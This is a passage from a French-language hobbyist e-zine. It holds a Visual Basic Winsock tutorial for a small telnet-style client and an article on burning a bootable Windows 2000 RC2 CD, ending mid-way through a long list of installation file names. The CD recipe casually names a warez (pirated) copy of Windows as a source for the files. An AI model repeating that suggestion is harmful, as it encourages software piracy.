     et je sort de la procedure. Ma procedure CALC_ONE est en fait un delaie de 1 seconde ou presque.
     quand je l'apelle , le programme attend 1 seconde ;)

     Le Winsock1.state est une methode pour connaitre l'etat courant de la connection, 2 states sont
     utiliser:
    
          sckconnected
            et
          scknotconnected

     Il y en a d'autre mais cest les plus utiles a mon avis :}
     
     Maintenant voyons une methode pour envoyez de l'information et en recevoir, le meilleur truc pour
     faire ca cest de coder un genre de petit terminal non-vt (pas encore) qui nous permet de voir 
     se quon nous dit et se quon envoie.

     Donc creez-vous une FORM/feuille. Dedans ajouter une boite de texte , appelez-la DUMP et mettez
     les attributs: multiline, scrollbars = vertical. Faites vous une boite en dessous et appeler la
     KEYB et ne modifiez pas ses attributs.

     Bon c'est simple, la boite DUMP va etre l'endroit ou se retrouve l'information entrante et la
     BOITE KEYB sera l'endroit ou vous tapez le texte a expedier. Organisez-vous pour mettre votre
     boite DUMP d'une assez bonne grosseur, en gros ca donne ca:

 
               ________________________________________
              |_Form1______________________________-ox_|
              |  ____________________________________  |
              | |                                  : | |
              | | BOITE DUMP                       : | |
              | |                                  :.| |
              | |                                  :o| |
              | |                                  :`| |
              | |                                  : | |
              | |                                  : | |
              | |__________________________________:_| |
              |  ____________________________________  |
              | |_BOITE KEYB_________________________| |
              |________________________________________|
               

   
     Maintenant creez-vous un SUB(procedure) qui va s'appeler WROTE (contenu as string)
     exemple:

     --------------------------------------------------------------------------------------code.vb-
     Private Sub WROTE(contenu as string)
     if len(dump.text) > 10000 then dump.text = mid(dump.text,5000,len(Dump.text)-5000)
     dump.selstart = len(dump.text)
     dump.sellength = 0
     dump.seltext = contenu
     end Sub
     --------------------------------------------------------------------------------------code.vb-
       
     Cette fonction va permettre d'ecrire dans la boite DUMP avec le plus de securit et
     de simplicit possible. le programme va tout d'abord s'auto-connecter des son demarrage
     et si un probleme se produit il se fermera (je parle des problemes relier a la connection
     initiales) donc placer ceci dans le code (noubliez pas de charger votre composant Winsock1).


     ---------------------------------------------------------------------------------socket.code------
     Private Sub calc_one()
     dim time2 as string
     time2 = time
     do 
     doevents
     loop until time <> time2
     end sub


     Private sub form_load()
     dim timeout as integer

     wrote "Tentative de connection a linuxqc.com ..."
     Winsock1.remotehost = "linuxqc.com"
     Winsock1.remoteport = 23
     Winsock1.connect

     do
     doevents
     calc_one

     if timeout = 10 then
     msgbox "Incapable d'etablir une connection"
     end
     end if

     timeout = timeout + 1
     loop until winsock1.state = sckconnected 
     wrote "CONNECTER!"+Vbcrlf
     end Sub
     ---------------------------------------------------------------------------------socket.code------

     Bon vous pouvez voir qu'ici j'utilise la constante VBCRLF qui est en fait VISUAL BASIC CARRIAGE-
     RETURN & LINEFEED. en gros cest un ENTER :) Cest pour changer de ligne.

     Si connection il y a , il faudrait maintenant etre capable de prendre l'information qu'on recoit
     et l'afficher, donc allez dans vos METHODS du controle WINSOCK1. Vous devriez appercevoir la
     methode DATAARRIVAL?

     Dans cette boite la, mettez ceci:

     dim buffer as string
     winsock1.getdata buffer
     wrote buffer

     -
     C'est tout :) la fonction GETDATA permet de lire tout informations que vous recevez et de les
     placers dans une valeur string, que par le suite nous affichons. Maintenant il nous reste plus
     qu'a pouvoir envoyez a notre tour de l'information. Allez dans la methode: KEYPRESS de l'objet
     boite de texte KEYB et ajoutez ceci:

     if keyascii = 13 then
     if winsock1.state = sckconnected then winsock1.senddata keyb.text +vbcrlf
     keyb.text = ""
     keyascii = 0
     end if

     -
     Et voila, vous avez un programme qui lit et envoie, la fonction senddata permet denvoyer
     de l'information au socket. Notez que je verifie si il y a une connection d'etablie avant
     d'envoyez sinon cela produirais un erreur.


     Dans ce petit chapitre dedier au SOCKET vous avez appris les fonctions suivantes:

     senddata
     getdata
     connect
     remoteport
     remotehost
 
     Maintenant essayer par vous meme d'utiliser la fonction CLOSE (qui ferme une connection)


     Bon voila deja la fin de se tutorial, le mois prochain on continue ou nous avons laissez cela :}

                                                                                   .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                __2.ouf          :  
 |                                                                                 :
 |_________________________________________________________________________________| 





 ===================================================================================================
                                                                                       Pub-O-sticker 
  un classic : no quote for yet
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [012]                                                                           |
 |                               Win2k de A a Z                                    | 
 :                                 so called                                       :
 ;                                dir >win2k.txt                                   :
 ,                                                                                 .
 .    
      Comment se graver un CD bootable de Windows 2000 Pro RC2
      So called: Criss y'a pas une doc  jour sur le net

     Windows 2000 c ben cool aprs 3-4 ans de Windows 95 et 98. On
     dirait que 95% des problmes sont rgls, sans en ajouter de
     nouveaux genre :) Vla une liste rapide des avantages de runner
     Windows 2000 au lieu de 98:

     1: Ca crash a peu prs jamais.
     2: Un programme qui crash va avoir ben dla misre a faire crasher
        le reste du systme. On peut toujours faire ctrl-alt-del et
        le killer.
     3: Utilisation intelligente de la mmoire: avec windows 98, au
        bout d'une heure ou deux toute ma mmoire tait utilise mme
        si je faisais RIEN avec l'ordi, et je me mettais  swapper
        tranquillement de plus en plus. Criss 192 megs de ram devraient
        garantir la paix  n'importe qui en thorie, eh ben NON. Mais
        Windows 2000 se stabilise (sur mon systme) avec 80-105 megs
        utiliss et ne grossit plus. Mme aprs une semaine d'tre
        boot mon RAM est encore la, ca fait du bien de pu se le faire
        piper dans /dev/null!
     4: NTFS: NTFS est un filesystem capable de rcuprer sans
        difficult d'une panne de courant ou d'un Reset. Plus jamais
        vous aurez d'cran "Windows a t ferm incorrectement blablabla"
     5: NTFS Permet aussi de compresser  la doublespace seulement les
        fichiers ou les rpertoires que vous voulez. Par exemple moi j'ai
        fait compresser mon C:\Program Files... Tout est encore accessible
        mais ca prend moins de place sur le HD.
     6: Quand je demande de faire un delete sur un rpertoire, la criss
        de fentre "yes no cancel ALL" vient juste UNE FOIS j'ai pas
        besoin de cliquer sur ALL 20 fois!
     7: Mon disque dur vient pas hyper lent sur les oprations de move et
        rename quand y'approche de plein comme avec Windows 98
     8: Support multiprocesseur: Ca c plus FreeQ qui en profite, mais ca
        donne un boost apprciable de performance  Quake3 avec R_SMP 1 !
     9: Beaux ptits menus fade-in cute et le curseur de la souris a une
        ombre (bof) :)
     10:A peu prs jamais besoin de rebooter quand vous faite un changement
        de configuration (les changement au rseau par exemple)
     11:Mixage sonore: Vous pouvez jouer  Quake3 en coutant des MP3, et
        vous allez encore entendre les calls de ICQ, mme sur une vielle
        Sound Blaster 16. Inutile d'avoir une carte de son PCI  100$
        dsormais!

     Et contrairement  Windows NT4, DirectX 7 fonctionne avec Windows 2000
     (il est dja inclus). Contrairement  NT5 Beta2, les programmes de
     graveur marchent aussi.

     La question des drivers: Windows 2000 reconnat la plupart des cartes
     vido, mais pour tre certain que vos jeux vont marcher jvous conseille
     de trouver des drivers pour Windows 2000 (les drivers Win98 Win95 ou
     NT4 ne marcheront *PAS*). Demandez moi mme pas ou en trouver, faites
     marcher vos doigts sur altavista ou www.lacompagniequifaitvotrecarte.com
 
     <wyzeman> la ati rage128 est pas encore supporter en opengl

     Y'a des docs qui se trouvent sur le web expliquand comment faire ce
     que je vais vous expliquer ici, mais la plupart du temps sont pass
     date et comportent plein d'erreurs, alors vu que moi y'a fallu que
     je fasse plein de gaffes en me basant sur ces docs bidons, jme dis
     que je pourrais sharer mon exprience...

     Au cas ou ca vous tente de russir votre CD du premier coup sans
     en peter 4-5 au cours d'un long processus d'essai et erreur...
     Voici la recette authentique, directement de ma famille  la vtre:

     Ingrdients:
     1    Graveur
     1    CD gravable (ou plus dpendant de votre habilit)
     1    Cdrwin.exe (www.goldenhawk.com) (Oubliez Easy Cd Creator)
     1    Notepad.exe (ou edlin ou copy con)
     5186 Fichiers du rpertoire \i386 d'un CD non bootable ou d'une
          distribution warez de windows 2000 pro RC2
     1    Fichier image du boot sector d'un cd de Windows NT 4 bootable
          (en thorie inclus avec le zine, nt4boot.bin)

     Instructions:

     1: Crez un rpertoire de travail sur votre HD, disons C:\WIN2000

     2: copiez les 4002 fichiers 0401.CS_, 0404.CS_, 0405.CS_, 0406.CS_, 0407.CS_,
        0408.CS_, 040B.CS_, 040C.CS_, 040D.CS_, 040E.CS_, 0410.CS_, 0411.CS_,
        0412.CS_, 0413.CS_, 0414.CS_, 0415.CS_, 0416.CS_, 0419.CS_, 041D.CS_,
        041F.CS_, 0804.CS_, 0C0A.CS_, 12520437.CP_, 12520850.CP_, 1394.IN_,
        1394BUS.SY_, 3DGARRO.CU_, 3DGMOVE.CU_, 3DGNESW.CU_, 3DGNO.CU_,
        3DGNS.CU_, 3DGNWSE.CU_, 3DGWE.CU_, 3DSMOVE.CU_, 3DSNS.CU_, 3DSNWSE.CU_,
        3DWARRO.CU_, 3DWMOVE.CU_, 3DWNESW.CU_, 3DWNO.CU_, 3DWNS.CU_,
        3DWNWSE.CU_, 3DWWE.CU_, 8514FIX.FO_, 8514FIXE.FO_, 8514FIXG.FO_,
        8514FIXR.FO_, 8514FIXT.FO_, 8514OEM.FO_, 8514OEME.FO_, 8514OEMG.FO_,
        8514OEMR.FO_, 8514OEMT.FO_, 8514SYS.FO_, 8514SYSE.FO_, 8514SYSG.FO_,
        8514SYSR.FO_, 8514SYST.FO_, 85775.FO_, 85855.FO_, 85F1257.FO_,
        85S1257.FO_, AAAAMON.DL_, ABP480N5.SY_, ACCESS.CH_, ACCESS.CP_,
        ACCESS.HL_, ACCESSIB.CH_, ACCESSOR.IN_, ACCSERV.MI_, ACCTRES.DL_,
        ACCWIZ.EX_, ACC_BIS.CH_, ACELPDEC.AX_, ACLEDIT.DL_, ACLUI.CH_,
        ACLUI.DL_, ACLUI.HL_, ACPI.IN_, ACPI.SY_, ACPIEC.SY_, ACS.MI_, ACSETUPC.DL_,
        ACSMIB.DL_, ACTIVEDS.DL_, ACTIVEDS.TL_, ACTMOVIE.EX_, ACTSAVER.SC_,
        ACTXPRXY.DL_, ADCADMIN.CH_, ADCJAVAS.IN_, ADCVBS.IN_, ADDREMOV.CH_,
        ADE.HL_, ADMEXS.DL_, ADMPARSE.DL_, ADMWPROX.DL_, ADMXPROX.DL_,
        ADM_MULT.IN_, ADM_PORT.IN_, ADOAPT15.RE_, ADOD6522.IC_, ADOFRE15.RE_,
        ADOJAVAS.IN_, ADOVBS.IN_, ADPROP.HL_, ADPTIF.DL_, ADPU160M.SY_,
        ADROT.DL_, ADSIIS.DL_, ADSLDP.DL_, ADSLDPC.DL_, ADSMSEXT.DL_,
        ADSNDS.DL_, ADSNT.DL_, ADSNW.DL_, ADVAPI32.DL_, ADVPACK.DL_,
        AFD.SY_, AGENTANM.DL_, AGENTCTL.DL_, AGENTDP2.DL_, AGENTDPV.DL_,
        AGENTMPX.DL_, AGENTPSH.DL_, AGENTSR.DL_, AGENTSVR.EX_, AGT0401.DL_,
        AGT0401.HL_, AGT0404.DL_, AGT0404.HL_, AGT0405.DL_, AGT0405.HL_,
        AGT0406.DL_, AGT0406.HL_, AGT0407.DL_, AGT0407.HL_, AGT0408.DL_,
        AGT0408.HL_, AGT0409.DL_, AGT0409.HL_, AGT040B.DL_, AGT040B.HL_,
        AGT040C.DL_, AGT040C.HL_, AGT040D.DL_, AGT040D.HL_, AGT040E.DL_,
        AGT040E.HL_, AGT0410.DL_, AGT0410.HL_, AGT0411.DL_, AGT0411.HL_,
        AGT0412.DL_, AGT0412.HL_, AGT0413.DL_, AGT0413.HL_, AGT0414.DL_,
        AGT0414.HL_, AGT0415.DL_, AGT0415.HL_, AGT0416.DL_, AGT0416.HL_,
        AGT0419.DL_, AGT0419.HL_, AGT041D.DL_, AGT041D.HL_, AGT041F.DL_,
        AGT041F.HL_, AGT0804.DL_, AGT0804.HL_, AGT0816.DL_, AGT0816.HL_,
        AGT0C0A.DL_, AGT0C0A.HL_, AGTCTL15.TL_, AGTINST.IN_, AGTINTL.DL_,
        AHA154X.SY_, AIC116X.SY_, AIC78U2.SY_, AIC78XX.SY_, ALEABANR.GI_,
        ALRSVC.DL_, AMAIZRUL.GI_, AMIPRO.SA_, AMOVIE.IN_, AMSINT.S_,
        AMSTREAM.DL_, ANABNR2.GI_, ANSI.SY_, APCOMPAT.IN_, APCUPS.DL_,
        APP775.FO_, APP850.FO_, APP852.FO_, APP855.FO_, APP857.FO_,
        APP866.FO_, APPD6518.IC_, APPEND.EX_, APPMGMTS.DL_, APPMGR.DL_,
        APPS.CH_, APPS.IN_, APPSER~1.CL_, APPSTAR2.AN_, APPSTAR3.AN_,
        APPSTART.AN_, APPWIZ.CP_, ARCLDR.EXE, ARCSETUP.EXE, ARIAL.TT_,
        ARIALBD.TT_, ARIALBI.TT_, ARIALI.TT_, ARIBLK.TT_, ARP.EX_,
        ARROW_I.CU_, ARROW_IL.CU_, ARROW_IM.CU_, ARROW_L.CU_, ARROW_M.CU_,
        ARROW_R.CU_, ARROW_RL.CU_, ARROW_RM.CU_, ASC.SY_, ASC3350P.SY_,
        ASC3550.SY_, ASCTRLS.OC_, ASFSIPC.DL_, ASP.DL_, ASPPERF.DL_,
        ASPTXN.DL_, ASR.CH_, ASWRULE.GI_, ASYCFILT.DL_, ASYNCEQN.IN_,
        ASYNCMAC.SY_, AT.EX_, ATABOOT.SY_, ATAPI.SY_, ATIVIDIN.IN_,
        ATKCTRS.DL_, ATL.DL_, ATM.CH_, ATMADM.EX_, ATMARPC.SY_,
        ATMFD.DL_, ATMLANE.SY_, ATMLIB.DL_, ATMUNI.SY_, ATT.HT_,
        ATTRIB.EX_, AUDIOCDC.HL_, AUTHFILT.DL_, AUTHSERV.MI_, AUTOCHK.EXE,
        AUTOCONV.EX_, AUTOEXEC.NT_, AUTOFMT.EXE, AUTOLFN.EX_, AVICAP.DL_,
        AVICAP32.DL_, AVIFIL32.DL_, AVIFILE.DL_, AVMETER.DL_, AVMISDN.IN_,
        AVSHELL.DL_, AVTAPI.DL_, AVWAV.DL_, AXANT5.IN_, AXPERF.IN_,
        BACHSB~1.RM_, BANANA.AN_, BANSHEE.IN_, BARBER.AN_, BASENOTE.CO_,
        BASESRV.DL_, BASICDC.IN_, BASICSV.IN_, BASICWK.IN_, BATMETER.DL_,
        BATT.DL_, BATTERY.IN_, BEAM_I.CU_, BEAM_IL.CU_, BEAM_IM.CU_,
        BEAM_L.CU_, BEAM_M.CU_, BEAM_R.CU_, BEAM_RL.CU_, BEAM_RM.CU_,
        BEEP.SY_, BEETHO~2.RM_, BIG5.NL_, BIGFOOT.BM_, BINLSVC.DL_,
        BIOS1.RO_, BIOS4.RO_, BIOSINFO.INF, BLANK.HT_, BLANKBKG.GI_,
        BLIP.WA_, BLULAC16.BM_, BLUMON16.BM_, BNTS.DL_, BOOTCONS.CH_,
        BOOTFIX.BIN, BOOTOK.EX_, BOOTVID.DL_, BOOTVRFY.EX_, BOPOMOFO.NL_,
        BOPOMOFO.UC_, BR549.DL_, BREP.CH_, BREP.HL_, BRIEF.CH_,
        BROWSCAP.DL_, BROWSCAP.IN_, BROWSELC.DL_, BROWSER.DL_, BROWSEUI.DL_,
        BTZHSEPA.GI_, BUBBLES.BM_, BUSLOGIC.SY_, BUSMOUSE.SY_, BUSY_I.CU_,
        BUSY_IL.CU_, BUSY_IM.CU_, BUSY_L.CU_, BUSY_M.CU_, BUSY_R.CU_,
        BUSY_RL.CU_, BUSY_RM.CU_, CABINET.DLL, CABVIEW.DL_, CACLS.EX_,
        CALC.CH_, CALC.EX_, CALC.HL_, CALLCONT.DL_, CAMERA.CH_,
        CANYON.MI_, CAPESNPN.DL_, CARDS.DL_, CATSRV.DL_, CATSRVPS.DL_,
        CATSRVUT.DL_, CB32.EX_, CCFGNT.DL_, CD20XRNT.SY_, CDFS.SY_,
        CDFVIEW.DL_, CDM.DL_, CDMODEM.DL_, CDONTS.DL_, CDOSYS.DL_,
        CDPLAYER.EX_, CDROM.IN_, CDROM.SY_, CERTCARC.AS_, CERTCERT.GI_,
        CERTCKPN.AS_, CERTCLAS.IN_, CERTCLI.DL_, CERTDFLT.AS_, CERTFNSH.AS_,
        CERTMAP.OC_, CERTMGR.DL_, CERTMGR.HL_, CERTMGR.MS_, CERTMG_W.CH_,
        CERTRQAD.AS_, CERTRQBI.AS_, CERTRQMA.AS_, CERTRQTP.IN_, CERTRQUS.AS_,
        CERTRQXT.AS_, CERTRSDN.AS_, CERTRSER.AS_, CERTRSIS.AS_, CERTRSOB.AS_,
        CERTRSPN.AS_, CERTSGCL.IN_, CERTSRCK.IN_, CERTWIZ.OC_, CFGMGR32.DL_,
        CFMCANON.IN_, CFMMUSTK.IN_, CFMRICOH.IN_, CFMTWAIN.DE_, CGA40737.FO_,
        CGA40850.FO_, CGA40852.FO_, CGA40857.FO_, CGA40866.FO_, CGA40869.FO_,
        CGA40WOA.FO_, CGA80737.FO_, CGA80850.FO_, CGA80852.FO_, CGA80857.FO_,
        CGA80866.FO_, CGA80869.FO_, CGA80WOA.FO_, CHANNELS.SC_, CHARMAP.CH_,
        CHARMAP.EX_, CHARMAP.HL_, CHCP.CO_, CHIMES.WA_, CHIPS5.IN_,
        CHKDSK.EX_, CHKNTFS.EX_, CHKUPGRD.BAT, CHNSCSVR.HL_, CHORD.WA_,
        CIADMIN.DL_, CIADMIN.HT_, CIADV.MS_, CIC.DL_, CIDAEMON.EX_,
        CIMW32EX.DL_, CIMWIN32.DL_, CIMWIN32.MF_, CIMWIN32.MO_, CIODM.DL_,
        CIPHER.EX_, CIQUERY.HT_, CIS.HT_, CIS.SC_, CISVC.EX_,
        CITBANNA.GI_, CITRBKG.GI_, CITRPUN.HT_, CJIME.CA_, CKCNV.EX_,
        CLAIRE~1.RM_, CLASS2.SY_, CLASSES.CA_, CLASSES.CE_, CLASSES.ZI_,
        CLASSPNP.SY_, CLB.DL_, CLBCATEX.DL_, CLBCATQ.DL_, CLEANMGR.EX_,
        CLEANRI.EX_, CLEARDAY.HT_, CLICONF.HL_, CLICONFG.DL_, CLICONFG.EX_,
        CLIPBRD.CH_, CLIPBRD.EX_, CLIPBRD.HL_, CLIPSRV.EX_, CLOCK.AV_,
        CLRDAYBG.JP_, CLSPACK.EX_, CLUSAPI.DL_, CLUSIIS4.DL_, CLUSTER.EX_,
        CMCFG32.DL_, CMCON_W.CH_, CMD.EX_, CMDIAL32.DL_, CMDL32.EX_,
        CMMGR32.EX_, CMMGR32.HL_, CMMON32.EX_, CMNQUERY.DL_, CMOS.RA_,
        CMPBK32.DL_, CMPROPS.DL_, CMSTP.EX_, CMUTIL.DL_, CNETCFG.DL_,
        CNFGPRTS.OC_, CNVFAT.DL_, COADMIN.DL_, COFFEEBN.BM_, COIN.AN_,
        COLBACT.DL_, COLORMGT.CH_, COMADDIN.DL_, COMADMIN.DL_, COMCAT.DL_,
        COMCLUST.EX_, COMCTL32.DL_, COMDLG32.DL_, COMEMPTY.DA_, COMEXP.CH_,
        COMEXP.HL_, COMEXP.MS_, COMIC.TT_, COMICBD.TT_, COMM.DR_,
        COMMAND.CO_, COMMDLG.DL_, COMMON.CH_, COMMUNIC.IN_, COMNTWKS.IN_,
        COMP.EX_, COMPACT.EX_, COMPATWS.IN_, COMPFILT.DL_,
        COMPLUS.FL_, COMPMGMT.CH_, COMPMGMT.MS_, COMPOBJ.DL_, COMPSTUI.DL_,
        COMPSTUI.HL_, COMREPL.DL_, COMREPL.EX_, COMREREG.EX_, COMSETUP.DL_,
        COMSNAP.DL_, COMSVCS.DL_, COMUID.DL_, CONCEPTS.CH_, CONF.AD_,
        CONF.CH_, CONF.CN_, CONF.EX_, CONF.HL_, CONFDENT.CO_,
        CONFIG.NT_, CONFMRSL.DL_, CONFMSP.DL_, CONIME.EX_, CONNECT.CN_,
        CONNECT.HL_, CONSOLE.DL_, CONTEXT.CL_, CONTROL.EX_, CONTROT.DL_,
        CONVERT.EX_, CONVLOG.EX_, CORELIST.IN_, CORPOL.DL_, COUE1257.FO_,
        COUF1257.FO_, COUNTER.AN_, COUNTERS.DL_, COUNTRY.SY_, COUR.TT_,
        COURBD.TT_, COURBI.TT_, COURE.FO_, COUREE.FO_, COUREG.FO_,
        COURER.FO_, COURET.FO_, COURF.FO_, COURFE.FO_, COURFG.FO_,
        COURFR.FO_, COURFT.FO_, COURI.TT_, CPANEL.CH_, CPANEL_W.CH_,
        CPQARRAY.SY_, CPQFCALM.SY_, CPQFWS2E.SY_, CROSS.CU_, CROSS_I.CU_,
        CROSS_IL.CU_, CROSS_IM.CU_, CROSS_L.CU_, CROSS_M.CU_, CROSS_R.CU_,
        CROSS_RL.CU_, CROSS_RM.CU_, CRTDLL.DL_, CRYPT32.DL_, CRYPTDLG.DL_,
        CRYPTDLL.DL_, CRYPTEXT.DL_, CRYPTNET.DL_, CRYPTSVC.DL_, CRYPTUI.DL_,
        CSAPI3T1.DL_, CSCDLL.DL_, CSCRIPT.EX_, CSCUI.DL_, CSCUI.HL_,
        CSRSRV.DL_, CSRSS.EX_, CTL3D32.DL_, CTL3DV2.DL_, CTLEGACY.IN_,
        CTMAPORT.IN_, CTMVPORT.IN_, CTYPE.NL_, C_037.NL_, C_10000.NL_,
        C_10001.NL_, C_10002.NL_, C_10003.NL_, C_10004.NL_, C_10005.NL_,
        C_10006.NL_, C_10007.NL_, C_10008.NL_, C_10010.NL_, C_10017.NL_,
        C_10021.NL_, C_10029.NL_, C_10079.NL_, C_10081.NL_, C_10082.NL_,
        C_1026.NL_, C_1047.NL_, C_1140.NL_, C_1141.NL_, C_1142.NL_,
        C_1143.NL_, C_1144.NL_, C_1145.NL_, C_1146.NL_, C_1147.NL_,
        C_1148.NL_, C_1149.NL_, C_1250.NL_, C_1251.NL_, C_1252.NL_,
        C_1253.NL_, C_1254.NL_, C_1255.NL_, C_1256.NL_, C_1257.NL_,
        C_1258.NL_, C_1361.NL_, C_20000.NL_, C_20001.NL_, C_20002.NL_,
        C_20003.NL_, C_20004.NL_, C_20005.NL_, C_20105.NL_, C_20106.NL_,
        C_20107.NL_, C_20108.NL_, C_20127.NL_, C_20261.NL_, C_20269.NL_,
        C_20273.NL_, C_20277.NL_, C_20278.NL_, C_20280.NL_, C_20284.NL_,
        C_20285.NL_, C_20290.NL_, C_20297.NL_, C_20420.NL_, C_20423.NL_,
        C_20424.NL_, C_20833.NL_, C_20838.NL_, C_20866.NL_, C_20871.NL_,
        C_20880.NL_, C_20905.NL_, C_20924.NL_, C_20930.NL_, C_20931.NL_,
        C_20932.NL_, C_20933.NL_, C_20935.NL_, C_20936.NL_, C_20937.NL_,
        C_20939.NL_, C_20949.NL_, C_20950.NL_, C_21025.NL_, C_21027.NL_,
        C_21866.NL_, C_28591.NL_, C_28592.NL_, C_28593.NL_, C_28594.NL_,
        C_28595.NL_, C_28596.NL_, C_28597.NL_, C_28598.NL_, C_28599.NL_,
        C_28605.NL_, C_437.NL_, C_500.NL_, C_708.NL_, C_720.NL_,
        C_737.NL_, C_775.NL_, C_850.NL_, C_852.NL_, C_855.NL_,
        C_857.NL_, C_858.NL_, C_860.NL_, C_861.NL_, C_862.NL_,
        C_863.NL_, C_864.NL_, C_865.NL_, C_866.NL_, C_869.NL_,
        C_870.NL_, C_874.NL_, C_875.NL_, C_932.NL_, C_936.NL_,
        C_949.NL_, C_950.NL_, C_IS2022.DL_, C_ISCII.DL_, D3DIM.DL_,
        D3DIM700.DL_, D3DPMESH.DL_, D3DRAMP.DL_, D3DREF.DL_, D3DRM.DL_,
        D3DXOF.DL_, DAC960NT.SY_, DAJAVA.CAB, DAJAVAC.CA_, DANCEO~2.RM_,
        DANIM.DL_, DAO360.DL_, DATACLEN.DL_, DATETIME.CH_, DATIME.DL_,
        DAXCTLE.OC_, DBGHELP.DLL, DBMSADSN.DL_, DBMSRPCN.DL_, DBMSSOCN.DL_,
        DBMSSPXN.DL_, DBMSVINN.DL_, DBNMPNTW.DL_, DCAP32.DL_, DCIMAN32.DL_,
        DCOMCNFG.CH_, DCOMCNFG.EX_, DCOMCNFG.HL_, DCOMEXT.DL_, DDAO36U.DL_,
        DDEML.DL_, DDESHARE.CH_, DDESHARE.EX_, DDESHARE.HL_, DDMPRXY.EX_,
        DDRAW.DL_, DDRAWEX.DL_, DEBUG.EX_, DEFLTSV.IN_, DEFLTWK.IN_,
        DEFRAG.CH_, DEFRAG.HL_, DELTTSUL.EX_, DELUXCD.CH_, DELUXCD.HL_,
        DESK.CP_, DESKADP.DL_, DESKMON.DL_, DESKPERF.DL_, DESKTOP.IN_,
        DEVENUM.DL_, DEVMGMT.MS_, DEVMGR.CH_, DEVMGR.DL_, DEVMGR.HL_,
        DFRG.IN_, DFRG.MS_, DFRGFAT.EX_, DFRGNTFS.EX_, DFRGRES.DL_,
        DFRGSNAP.DL_, DFRGUI.DL_, DFSSHLEX.DL_, DG18D50.IC_, DG18D65.IC_,
        DG18D93.IC_, DG22D50.IC_, DG22D65.IC_, DG22D93.IC_, DGAPORT.IN_,
        DGASYNC.IN_, DGCLASS.DL_, DGPRPAGE.DL_, DGPRPAGE.HL_, DGRPSETU.DL_,
        DGSETUP.DL_, DHCP.MI_, DHCPCSVC.DL_, DHCPMON.DL_, DHCPSAPI.DL_,
        DHTMLED.OC_, DIAGBOOT.CH_, DIALER.CH_, DIALER.EX_, DIALER.HL_,
        DIANTZ.EX_, DIDIVA.IN_, DIGEST.DL_, DIGIISDN.IN_, DIGIRAS.CN_,
        DIGIRP.IN_, DIGIRPRT.IN_, DIJOY.HL_, DING.WA_, DINOSAU2.AN_,
        DINOSAUR.AN_, DINPUT.DL_, DIRECTDB.DL_, DISCOVER.EX_, DISK.IN_,
        DISK.SY_, DISK1, DISKCOMP.CO_, DISKCOPY.CO_, DISKCOPY.DL_,
        DISKDUMP.SY_, DISKMGMT.CH_, DISKMGMT.HL_, DISKMGMT.MS_, DISKPERF.EX_,
        DISKPERF.SY_, DISPDET.IN_, DISPEX.DL_, DISPLAY.CH_, DISPLAY.HL_,
        DISPLAY.IN_, DLC.SY_, DLCAPI.DL_, DLLHOST.EX_, DLLHST3G.EX_,
        DMADMIN.EX_, DMBAND.DL_, DMBOOT.SY_, DMCOMPOS.DL_, DMCONFIG.DL_,
        DMDLGS.DL_, DMDSKMGR.DL_, DMDSKRES.DL_, DMIME.DL_, DMINTF.DL_,
        DMIO.SY_, DMLOAD.SY_, DMLOADER.DL_, DMOCX.DL_, DMREG.INF
        DMREMOTE.EX_, DMSERVER.DL_, DMSTYLE.DL_, DMSYNTH.DL_, DMUSIC.DL_,
        DMUTIL.DL_, DMVIEW.OC_, DMWINCTL.DL_, DNARY.MD_, DNLOAD.BI_,
        DNSAPI.DL_, DNSMGMT.MS_, DNSRSLVR.DL_, DOCPROP.DL_, DOCPROP2.DL_,
        DOS737.FO_, DOS869.FO_, DOSAPP.FO_, DOSCALLS.DL_, DOSHELP.HL_,
        DOSKEY.EX_, DOSNET.INF, DOSX.EX_, DOT4.IN_, DOT4PRT.IN_,
        DPLAY.DL_, DPLAYSVR.EX_, DPLAYX.DL_, DPMODEMX.DL_, DPSERIAL.DL_,
        DPWSOCK.DL_, DPWSOCKX.DL_, DRIVER.CAB, DRIVPROP.CH_, DRMCLIEN.DL_,
        DRMSTOR.DL_, DRUM.AN_, DRVINDEX.INF, DRVVFP.CH_, DRWATSON.EX_,
        DRWTSN32.CH_, DRWTSN32.EX_, DRWTSN32.HL_, DS16GT.DL_, DS32GT.DL_,
        DSAUTH.DL_, DSCLIENT.HL_, DSCTL.DL_, DSFOLDER.DL_, DSHOWEXT.IN_,
        DSKOUI_W.CH_, DSKQUOTA.DL_, DSKQUOUI.DL_, DSKQUOUI.HL_, DSOUND.DL_,
        DSOUND.VX_, DSOUND3D.DL_, DSPROP.DL_, DSPROV.DL_, DSPROV.MO_,
        DSQUERY.DL_, DSSBASE.DLL, DSSEC.DA_, DSSEC.DL_, DSUIEXT.DL_,
        DTCNTWKS.IN_, DTCSETUP.CA_, DTCSETUP.EXE, DVC323.DL_, DVC323.DS_,
        DVC323.IN_, DVC323.OC_, DVD.IN_, DVDPLAY.CH_, DVDPLAY.HL_,
        DX3.CA_, DX3.CE_, DX3.ZI_, DX3J.DL_, DX7VB.DL_,
        DXAPI.SY_, DXDIAG.EX_, DXDIAGI.CH_, DXDIAGM.CH_, DXMASF.DL_,
        DXMRTP.DL_, DXTMSFT.DL_, DXTMSFT3.DL_, DXTRANS.DL_, ECLANDD.IN_,
        ECWANDD.IN_, EDB500.DL_, EDIT.CO_, EDIT.HL_, EDLIN.EX_,
        EFS.SY_, EFSADU.DL_, EGA.CP_, EGA40737.FO_, EGA40850.FO_,
        EGA40852.FO_, EGA40857.FO_, EGA40866.FO_, EGA40869.FO_, EGA40WOA.FO_,
        EGA80737.FO_, EGA80850.FO_, EGA80852.FO_, EGA80857.FO_, EGA80866.FO_,
        EGA80869.FO_, EGA80WOA.FO_, EICCARD.IN_, EICONA.CA_, EICONP.CA_,
        EICPCARD.IN_, EICVIRTA.IN_, ELS.CH_, ELS.DL_, ELS.HL_,
        ENCINST.EX_, ENCINST.IN_, ENCRYPT.CH_, EQNCLASS.DL_, EQNPORT.IN_,
        ERRORS.CH_, ES.DL_, ESENT.DL_, ESENTPRF.DL_, ESENTPRF.HX_,
        ESENTPRF.IN_, ESENTUTL.EX_, EUDCEDIT.CH_, EUDCEDIT.EX_, EUDCEDIT.HL_,
        EULA.TXT, EVENTLOG.DL_, EVENTVWR.EX_, EVENTVWR.MS_, EVNTAGNT.DL_,
        EVNTCMD.EX_, EVNTWIN.EX_, EVNTWIN.HL_, EXCEL.XL_, EXCEL4.XL_,
        EXE2BIN.EX_, EXPAND.EXE, EXPLORER.EX_, EXPLORER.SC_, EXPSRV.DL_,
        EXSTRACE.DL_, EXTRAC32.EX_, F3AHVOAS.DL_, FASTFAT.SY_, FASTOPEN.EX_,
